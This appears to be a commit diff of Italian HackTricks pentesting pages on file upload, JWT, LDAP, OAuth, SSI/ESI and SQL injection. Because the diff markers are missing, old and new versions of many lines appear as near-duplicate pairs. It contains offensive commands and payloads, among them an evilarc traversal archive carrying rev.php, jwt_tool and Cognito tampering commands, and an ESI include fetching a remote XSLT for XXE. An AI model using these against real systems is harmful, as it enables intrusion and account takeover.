- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
@ -85,7 +84,7 @@ AAA<--SNIP 232 A-->AAA.php.png
3. Caricando un file con **“.”, “..”, o “…” come suo nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome file “.” creerà un file chiamato “uploads” nella directory “/www/”.
4. Carica un file che potrebbe non essere facilmente eliminato come **“…:.jpg”** in **NTFS**. (Windows)
5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel suo nome. (Windows)
6. Carica un file in **Windows** utilizzando **nomi riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
6. Carica un file in **Windows** usando **nomi riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
- Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** quando accidentalmente aperto dalla vittima.
### Special extension tricks
@ -107,7 +106,7 @@ Se puoi caricare un file XML su un server Jetty puoi ottenere [RCE perché **nuo
Per un'esplorazione dettagliata di questa vulnerabilità controlla la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato.
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. Notabilmente, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato.
Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi:
```ini
@ -157,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Nota che **un'altra opzione** che potresti considerare per bypassare questo controllo è far **reindirizzare il server HTTP a un file diverso**, in modo che l'URL iniziale bypassi il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga utilizzato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
Nota che **un'altra opzione** che potresti considerare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, in modo che l'URL iniziale bypassi il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga utilizzato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
## Strumenti
@ -196,7 +195,9 @@ Ecco una lista delle 10 cose che puoi ottenere caricando (da [qui](https://twitt
#### Estensione Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## Magic Header Bytes
@ -219,7 +220,7 @@ tar -cvf test.tar symindex.txt
```
### Decomprimere in cartelle diverse
La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione target.
La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
Un exploit automatizzato per creare tali file è disponibile su [**evilarc su GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere utilizzata come mostrato:
```python
@ -228,7 +229,7 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Inoltre, il **trucco del symlink con evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo assicura che evilarc non incontri errori durante il suo funzionamento.
Inoltre, il **trucco del symlink con evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo garantisce che evilarc non incontri errori durante il suo funzionamento.
Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip malevolo:
```python
@ -313,5 +314,4 @@ Maggiore informazione in: [https://medium.com/swlh/polyglot-files-a-hackers-best
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
{{#include ../../banners/hacktricks-training.md}}

29
src/pentesting-web/hacking-jwt-json-web-tokens.md
View File

@ -13,11 +13,11 @@ python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Se sei fortunato, lo strumento troverà qualche caso in cui l'applicazione web controlla in modo errato il JWT:
Se sei fortunato, lo strumento troverà qualche caso in cui l'applicazione web sta controllando in modo errato il JWT:
![](<../images/image (935).png>)
Poi, puoi cercare la richiesta nel tuo proxy o dumpare il JWT utilizzato per quella richiesta usando jwt\_ tool:
Poi, puoi cercare la richiesta nel tuo proxy o estrarre il JWT utilizzato per quella richiesta usando jwt\_ tool:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
@ -27,26 +27,26 @@ Puoi anche utilizzare l'[**Estensione Burp SignSaboteur**](https://github.com/d0
Puoi semplicemente modificare i dati lasciando la firma così com'è e controllare se il server sta verificando la firma. Prova a cambiare il tuo nome utente in "admin", ad esempio.
#### **La firma del token viene controllata?**
#### **La token viene controllata?**
Per verificare se la firma di un JWT viene verificata:
- Un messaggio di errore suggerisce una verifica in corso; i dettagli sensibili negli errori dettagliati dovrebbero essere esaminati.
- Un cambiamento nella pagina restituita indica anche una verifica.
- Nessun cambiamento suggerisce nessuna verifica; è il momento di sperimentare con le affermazioni del payload.
- Nessun cambiamento suggerisce nessuna verifica; è il momento di sperimentare con la modifica delle affermazioni del payload.
### Origine
È importante determinare se il token è stato generato lato server o lato client esaminando la cronologia delle richieste del proxy.
- I token visti per la prima volta dal lato client suggeriscono che la chiave potrebbe essere esposta al codice lato client, necessitando ulteriori indagini.
- I token che originano dal lato server indicano un processo sicuro.
- I token originati dal lato server indicano un processo sicuro.
### Durata
Controlla se il token dura più di 24 ore... forse non scade mai. Se c'è un campo "exp", controlla se il server lo gestisce correttamente.
### Brute-force HMAC secret
### Forza bruta della chiave segreta HMAC
[**Vedi questa pagina.**](../generic-hacking/brute-force.md#jwt)
@ -217,12 +217,14 @@ Ecco un esempio: [ECDSA: Rivelare la chiave privata, se viene utilizzato lo stes
### JTI (JWT ID)
Il claim JTI (JWT ID) fornisce un identificatore unico per un token JWT. Può essere utilizzato per prevenire la ripetizione del token.\
Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). La richiesta 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend incrementa l'ID ad ogni richiesta, potresti abusare di questo per **ripetere una richiesta** (necessitando di inviare 10000 richieste tra ogni ripetizione riuscita).
Il claim JTI (JWT ID) fornisce un identificatore unico per un Token JWT. Può essere utilizzato per prevenire la ripetizione del token.\
Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). Le richieste 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend incrementa l'ID ad ogni richiesta, potresti abusare di questo per **ripetere una richiesta** (necessitando di inviare 10000 richieste tra ogni ripetizione riuscita).
### JWT Registered claims
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
{{#ref}}
https://www.iana.org/assignments/jwt/jwt.xhtml#claims
{{#endref}}
### Altri attacchi
@ -234,13 +236,14 @@ Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001
**Controllo di Scadenza dei Token**
La scadenza del token viene controllata utilizzando il claim "exp" Payload. Dato che i JWT vengono spesso impiegati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e ripetere il JWT di un altro utente potrebbe consentire l'impostazione di quell'utente. Il RFC JWT raccomanda di mitigare gli attacchi di ripetizione JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale l'implementazione di controlli pertinenti da parte dell'applicazione per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo di test lo consentono, si consiglia di memorizzare il token e ripeterlo dopo che il tempo di scadenza è passato. Il contenuto del token, inclusa l'analisi del timestamp e il controllo della scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
La scadenza del token viene controllata utilizzando il claim "exp" Payload. Dato che i JWT vengono spesso impiegati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e ripetere il JWT di un altro utente potrebbe consentire l'impostazione di quell'utente. L'RFC JWT raccomanda di mitigare gli attacchi di ripetizione JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale l'implementazione di controlli pertinenti da parte dell'applicazione per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo di test lo consentono, si consiglia di memorizzare il token e ripeterlo dopo che il tempo di scadenza è passato. Il contenuto del token, inclusa l'analisi del timestamp e il controllo della scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
- Potrebbe essere presente un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché ciò potrebbe implicare che il token non potrebbe mai scadere.
- Potrebbe esserci un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché ciò potrebbe implicare che il token non potrebbe mai scadere.
### Strumenti
{% embed url="https://github.com/ticarpi/jwt_tool" %}
{{#ref}}
https://github.com/ticarpi/jwt_tool
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

8
src/pentesting-web/ldap-injection.md
View File

@ -4,7 +4,6 @@
{{#include ../banners/hacktricks-training.md}}
## LDAP Injection
### **LDAP**
@ -15,7 +14,7 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP a partire dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, potenzialmente portando ad accessi non autorizzati o manipolazione dei dati.
**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP a partire dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, portando potenzialmente ad accessi non autorizzati o manipolazione dei dati.
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -204,7 +203,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
```
### Altri Payload
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

25
src/pentesting-web/oauth-to-account-takeover.md
View File

@ -4,7 +4,7 @@
## Informazioni di base <a href="#d4a8" id="d4a8"></a>
OAuth offre varie versioni, con informazioni fondamentali accessibili nella [documentazione OAuth 2.0](https://oauth.net/2/). Questa discussione si concentra principalmente sul [tipo di concessione del codice di autorizzazione OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fornendo un **framework di autorizzazione che consente a un'applicazione di accedere o eseguire azioni sull'account di un utente in un'altra applicazione** (il server di autorizzazione).
OAuth offre varie versioni, con informazioni fondamentali accessibili nella [documentazione OAuth 2.0](https://oauth.net/2/). Questa discussione si concentra principalmente sul [tipo di concessione del codice di autorizzazione OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fornendo un **framework di autorizzazione che consente a un'applicazione di accedere o eseguire azioni su un account utente in un'altra applicazione** (il server di autorizzazione).
Considera un sito web ipotetico _**https://example.com**_, progettato per **mostrare tutti i tuoi post sui social media**, inclusi quelli privati. Per raggiungere questo obiettivo, viene impiegato OAuth 2.0. _https://example.com_ richiederà il tuo permesso per **accedere ai tuoi post sui social media**. Di conseguenza, apparirà una schermata di consenso su _https://socialmedia.com_, delineando le **autorizzazioni richieste e lo sviluppatore che effettua la richiesta**. Una volta autorizzato, _https://example.com_ ottiene la possibilità di **accedere ai tuoi post per tuo conto**.
@ -13,7 +13,7 @@ Considera un sito web ipotetico _**https://example.com**_, progettato per **most
- **proprietario della risorsa**: Tu, come **utente/entità**, autorizzi l'accesso alla tua risorsa, come i post del tuo account sui social media.
- **server delle risorse**: Il **server che gestisce le richieste autenticate** dopo che l'applicazione ha ottenuto un `access token` per conto del `proprietario della risorsa`, ad esempio, **https://socialmedia.com**.
- **applicazione client**: L'**applicazione che richiede autorizzazione** dal `proprietario della risorsa`, come **https://example.com**.
- **server di autorizzazione**: Il **server che emette `access tokens`** all'`applicazione client` dopo la corretta autenticazione del `proprietario della risorsa` e l'ottenimento dell'autorizzazione, ad esempio, **https://socialmedia.com**.
- **server di autorizzazione**: Il **server che emette `access tokens`** all'`applicazione client` dopo l'autenticazione riuscita del `proprietario della risorsa` e l'ottenimento dell'autorizzazione, ad esempio, **https://socialmedia.com**.
- **client_id**: Un identificatore pubblico e unico per l'applicazione.
- **client_secret:** Una chiave riservata, conosciuta solo dall'applicazione e dal server di autorizzazione, utilizzata per generare `access_tokens`.
- **response_type**: Un valore che specifica **il tipo di token richiesto**, come `code`.
@ -56,11 +56,11 @@ Host: socialmedia.com
Il `redirect_uri` è cruciale per la sicurezza nelle implementazioni di OAuth e OpenID, poiché indica dove vengono inviati i dati sensibili, come i codici di autorizzazione, dopo l'autorizzazione. Se configurato in modo errato, potrebbe consentire agli attaccanti di reindirizzare queste richieste a server malevoli, abilitando il takeover dell'account.
Le tecniche di sfruttamento variano in base alla logica di convalida del server di autorizzazione. Possono variare da un abbinamento di percorso rigoroso all'accettazione di qualsiasi URL all'interno del dominio o sottodirectory specificati. I metodi di sfruttamento comuni includono reindirizzamenti aperti, traversata di percorso, sfruttamento di regex deboli e iniezione HTML per il furto di token.
Le tecniche di sfruttamento variano in base alla logica di convalida del server di autorizzazione. Possono variare da un abbinamento di percorso rigoroso ad accettare qualsiasi URL all'interno del dominio o sottodirectory specificati. I metodi di sfruttamento comuni includono reindirizzamenti aperti, traversata di percorso, sfruttamento di regex deboli e iniezione HTML per il furto di token.
Oltre al `redirect_uri`, altri parametri di OAuth e OpenID come `client_uri`, `policy_uri`, `tos_uri` e `initiate_login_uri` sono anch'essi suscettibili ad attacchi di reindirizzamento. Questi parametri sono facoltativi e il loro supporto varia tra i server.
Per coloro che mirano a un server OpenID, l'endpoint di discovery (`**.well-known/openid-configuration**`) elenca spesso dettagli di configurazione preziosi come `registration_endpoint`, `request_uri_parameter_supported` e "`require_request_uri_registration`. Questi dettagli possono aiutare a identificare l'endpoint di registrazione e altre specifiche di configurazione del server.
Per coloro che mirano a un server OpenID, l'endpoint di scoperta (`**.well-known/openid-configuration**`) elenca spesso dettagli di configurazione preziosi come `registration_endpoint`, `request_uri_parameter_supported` e "`require_request_uri_registration`. Questi dettagli possono aiutare a identificare l'endpoint di registrazione e altre specifiche di configurazione del server.
### XSS nell'implementazione del reindirizzamento <a href="#bda5" id="bda5"></a>
@ -72,7 +72,7 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
Nelle implementazioni di OAuth, l'uso improprio o l'omissione del **`state` parameter** può aumentare significativamente il rischio di attacchi di **Cross-Site Request Forgery (CSRF)**. Questa vulnerabilità si verifica quando il parametro `state` è **non utilizzato, utilizzato come valore statico o non validato correttamente**, consentendo agli attaccanti di eludere le protezioni CSRF.
Gli attaccanti possono sfruttare questo intercettando il processo di autorizzazione per collegare il proprio account a quello di una vittima, portando a potenziali **account takeovers**. Questo è particolarmente critico nelle applicazioni in cui OAuth è utilizzato per **scopi di autenticazione**.
Gli attaccanti possono sfruttare questo intercettando il processo di autorizzazione per collegare il proprio account a quello della vittima, portando a potenziali **account takeovers**. Questo è particolarmente critico nelle applicazioni in cui OAuth è utilizzato per **scopi di autenticazione**.
Esempi reali di questa vulnerabilità sono stati documentati in varie **CTF challenges** e **hacking platforms**, evidenziando le sue implicazioni pratiche. Il problema si estende anche alle integrazioni con servizi di terze parti come **Slack**, **Stripe** e **PayPal**, dove gli attaccanti possono reindirizzare notifiche o pagamenti ai propri account.
@ -81,7 +81,7 @@ Una corretta gestione e validazione del **`state` parameter** sono cruciali per
### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
1. **Senza verifica dell'email nella creazione dell'account**: Gli attaccanti possono creare preventivamente un account utilizzando l'email della vittima. Se la vittima successivamente utilizza un servizio di terze parti per il login, l'applicazione potrebbe involontariamente collegare questo account di terze parti all'account pre-creato dall'attaccante, portando a un accesso non autorizzato.
2. **Sfruttare la verifica dell'email OAuth poco rigorosa**: Gli attaccanti possono sfruttare i servizi OAuth che non verificano le email registrandosi con il loro servizio e poi cambiando l'email dell'account con quella della vittima. Questo metodo comporta un rischio simile di accesso non autorizzato all'account, simile al primo scenario ma attraverso un vettore d'attacco diverso.
2. **Sfruttare la verifica dell'email OAuth poco rigorosa**: Gli attaccanti possono sfruttare i servizi OAuth che non verificano le email registrandosi con il loro servizio e poi cambiando l'email dell'account in quella della vittima. Questo metodo comporta un rischio simile di accesso non autorizzato all'account, simile al primo scenario ma attraverso un vettore d'attacco diverso.
### Divulgazione di segreti <a href="#e177" id="e177"></a>
@ -112,11 +112,11 @@ Vai alla **cronologia del browser e controlla se il token di accesso è salvato
### Codice di Autorizzazione Eterno
Il **codice di autorizzazione dovrebbe vivere solo per un certo tempo per limitare la finestra temporale in cui un attaccante può rubarlo e usarlo**.
Il **codice di autorizzazione dovrebbe vivere solo per un certo periodo per limitare la finestra temporale in cui un attaccante può rubarlo e usarlo**.
### Token di Autorizzazione/Rinnovo non legato al client
Se puoi ottenere il **codice di autorizzazione e usarlo con un client diverso, allora puoi prendere il controllo di altri account**.
Se riesci a ottenere il **codice di autorizzazione e usarlo con un client diverso, allora puoi prendere il controllo di altri account**.
### Percorsi Felici, XSS, Iframes & Post Messages per perdere valori di codice & stato
@ -143,7 +143,9 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
```
Per ulteriori informazioni dettagliate su come abusare di AWS cognito controlla:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
{{#endref}}
### Abusare di altri token delle app <a href="#bda5" id="bda5"></a>
@ -162,7 +164,7 @@ Per bypassare questo prompt, era possibile aprire una scheda per avviare il **fl
### Bypass dell'interazione del prompt <a href="#bda5" id="bda5"></a>
Come spiegato in [**questo video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), alcune implementazioni OAuth consentono di indicare il parametro **`prompt`** GET come None (**`&prompt=none`**) per **prevenire che gli utenti vengano chiesti di confermare** l'accesso concesso in un prompt nel web se sono già loggati nella piattaforma.
Come spiegato in [**questo video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), alcune implementazioni OAuth consentono di indicare il parametro GET **`prompt`** come None (**`&prompt=none`**) per **prevenire che gli utenti vengano chiesti di confermare** l'accesso concesso in un prompt nel web se sono già loggati nella piattaforma.
### response_mode
@ -183,7 +185,7 @@ Questo [**post del blog**](https://blog.voorivex.team/oauth-non-happy-path-to-at
1. La vittima accede alla pagina web dell'attaccante
2. La vittima apre il link malevolo e un opener avvia il flusso OAuth di Google con `response_type=id_token,code&prompt=none` come parametri aggiuntivi utilizzando come **referrer il sito web dell'attaccante**.
3. Nell'opener, dopo che il provider autorizza la vittima, la rimanda al valore del parametro `redirect_uri` (web della vittima) con codice 30X che mantiene ancora il sito web dell'attaccante nel referer.
3. Nell'opener, dopo che il provider autorizza la vittima, li rimanda al valore del parametro `redirect_uri` (web della vittima) con codice 30X che mantiene ancora il sito web dell'attaccante nel referer.
4. Il **sito web della vittima attiva l'open redirect basato sul referrer** reindirizzando l'utente vittima al sito web dell'attaccante, poiché il **`respose_type`** era **`id_token,code`**, il codice sarà inviato all'attaccante nel **frammento** dell'URL permettendogli di prendere il controllo dell'account dell'utente tramite Google nel sito della vittima.
### Parametri SSRFs <a href="#bda5" id="bda5"></a>
@ -216,5 +218,4 @@ Se la piattaforma che stai testando è un fornitore OAuth [**leggi questo per te
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
{{#include ../banners/hacktricks-training.md}}

18
src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
View File

@ -2,11 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
## Server Side Inclusion Basic Information
## Server Side Inclusion Informazioni di Base
**(Introduzione tratta da** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
SSI (Server Side Includes) sono direttive che vengono **inserite nelle pagine HTML e valutate sul server** mentre le pagine vengono servite. Ti permettono di **aggiungere contenuti generati dinamicamente** a una pagina HTML esistente, senza dover servire l'intera pagina tramite un programma CGI o un'altra tecnologia dinamica.\
SSI (Server Side Includes) sono direttive che vengono **posizionate nelle pagine HTML e valutate sul server** mentre le pagine vengono servite. Ti permettono di **aggiungere contenuti generati dinamicamente** a una pagina HTML esistente, senza dover servire l'intera pagina tramite un programma CGI o un'altra tecnologia dinamica.\
Ad esempio, potresti inserire una direttiva in una pagina HTML esistente, come:
`<!--#echo var="DATE_LOCAL" -->`
@ -17,7 +17,7 @@ E, quando la pagina viene servita, questo frammento verrà valutato e sostituito
La decisione su quando utilizzare SSI e quando far generare completamente la tua pagina da un programma è solitamente una questione di quanto della pagina è statico e quanto deve essere ricalcolato ogni volta che la pagina viene servita. SSI è un ottimo modo per aggiungere piccoli pezzi di informazione, come l'ora corrente - mostrata sopra. Ma se la maggior parte della tua pagina viene generata al momento in cui viene servita, devi cercare un'altra soluzione.
Puoi inferire la presenza di SSI se l'applicazione web utilizza file con l'estensione&#x73;**`.shtml`, `.shtm` o `.stm`**, ma non è solo questo il caso.
Puoi dedurre la presenza di SSI se l'applicazione web utilizza file con l'estensione&#x73;**`.shtml`, `.shtm` o `.stm`**, ma non è solo questo il caso.
Un'espressione SSI tipica ha il seguente formato:
```
@ -57,9 +57,9 @@ Un'espressione SSI tipica ha il seguente formato:
## Edge Side Inclusion
C'è un problema **nella memorizzazione nella cache delle informazioni o delle applicazioni dinamiche** poiché parte del contenuto potrebbe essere **varia** per la prossima volta che il contenuto viene recuperato. Questo è ciò per cui viene utilizzato **ESI**, per indicare utilizzando i tag ESI il **contenuto dinamico che deve essere generato** prima di inviare la versione memorizzata nella cache.\
Se un **attaccante** è in grado di **iniettare un tag ESI** all'interno del contenuto memorizzato nella cache, allora potrebbe essere in grado di **iniettare contenuti arbitrari** nel documento prima che venga inviato agli utenti.
Se un **attaccante** è in grado di **iniettare un tag ESI** all'interno del contenuto memorizzato nella cache, allora potrebbe essere in grado di **iniettare contenuto arbitrario** nel documento prima che venga inviato agli utenti.
### Rilevamento ESI
### ESI Detection
Il seguente **header** in una risposta dal server significa che il server sta utilizzando ESI:
```
@ -93,7 +93,7 @@ hell<!--esi-->o
- **Includes**: Supporta la direttiva `<esi:includes>`
- **Vars**: Supporta la direttiva `<esi:vars>`. Utile per bypassare i filtri XSS
- **Cookie**: I cookie del documento sono accessibili all'engine ESI
- **Cookie**: I cookie del documento sono accessibili al motore ESI
- **Upstream Headers Required**: Le applicazioni surrogate non elaboreranno le dichiarazioni ESI a meno che l'applicazione upstream non fornisca le intestazioni
- **Host Allowlist**: In questo caso, gli include ESI sono possibili solo da host server autorizzati, rendendo SSRF, ad esempio, possibile solo contro quegli host
@ -183,7 +183,7 @@ Questo invierà informazioni di debug incluse nella risposta:
```
### ESI + XSLT = XXE
È possibile utilizzare la sintassi di **`eXtensible Stylesheet Language Transformations (XSLT)`** in ESI semplicemente indicando il valore del parametro **`dca`** come **`xslt`**. Questo potrebbe consentire di abusare di **XSLT** per creare e sfruttare una vulnerabilità di Entità Esterna XML (XXE):
È possibile utilizzare la sintassi di **`eXtensible Stylesheet Language Transformations (XSLT)`** in ESI semplicemente indicando il valore del param **`dca`** come **`xslt`**. Questo potrebbe consentire di abusare di **XSLT** per creare e sfruttare una vulnerabilità di Entità Estera XML (XXE):
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
@ -207,6 +207,8 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
## Elenco di Rilevamento Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

29
src/pentesting-web/sql-injection/README.md
View File

@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Cos'è l'iniezione SQL?
Un **SQL injection** è una vulnerabilità di sicurezza che consente agli attaccanti di **interferire con le query del database** di un'applicazione. Questa vulnerabilità può consentire agli attaccanti di **visualizzare**, **modificare** o **eliminare** dati a cui non dovrebbero avere accesso, inclusi informazioni di altri utenti o qualsiasi dato a cui l'applicazione può accedere. Tali azioni possono comportare modifiche permanenti alla funzionalità o al contenuto dell'applicazione o addirittura compromissione del server o denial of service.
## Rilevamento dei punti di ingresso
Quando un sito appare **vulnerabile all'iniezione SQL (SQLi)** a causa di risposte insolite del server a input correlati all'SQLi, il **primo passo** è comprendere come **iniettare dati nella query senza interromperla**. Questo richiede di identificare il metodo per **uscire dal contesto attuale** in modo efficace. Questi sono alcuni esempi utili:
Quando un sito appare **vulnerabile all'iniezione SQL (SQLi)** a causa di risposte insolite del server a input correlati a SQLi, il **primo passo** è capire come **iniettare dati nella query senza interromperla**. Questo richiede di identificare il metodo per **uscire dal contesto attuale** in modo efficace. Questi sono alcuni esempi utili:
```
[Nothing]
'
@ -129,11 +128,13 @@ Il modo migliore per identificare il back-end è provare a eseguire funzioni dei
Inoltre, se hai accesso all'output della query, potresti farlo **stampare la versione del database**.
> [!NOTE]
> In seguito discuteremo diversi metodi per sfruttare diversi tipi di SQL Injection. Useremo MySQL come esempio.
> In una continuazione discuteremo diversi metodi per sfruttare diversi tipi di SQL Injection. Useremo MySQL come esempio.
### Identificazione con PortSwigger
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
{{#ref}}
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## Sfruttamento basato su Union
@ -192,7 +193,7 @@ Quando l'output di una query è visibile, ma un'iniezione basata su unione sembr
Questo può essere realizzato attraverso l'uso di tecniche di iniezione cieca insieme alle tabelle predefinite specifiche per il tuo Database Management System (DBMS) di destinazione. Per comprendere queste tabelle predefinite, è consigliato consultare la documentazione del DBMS di destinazione.
Una volta estratta la query, è necessario adattare il tuo payload per chiudere in modo sicuro la query originale. Successivamente, una query di unione viene aggiunta al tuo payload, facilitando lo sfruttamento dell'iniezione basata su unione ora accessibile.
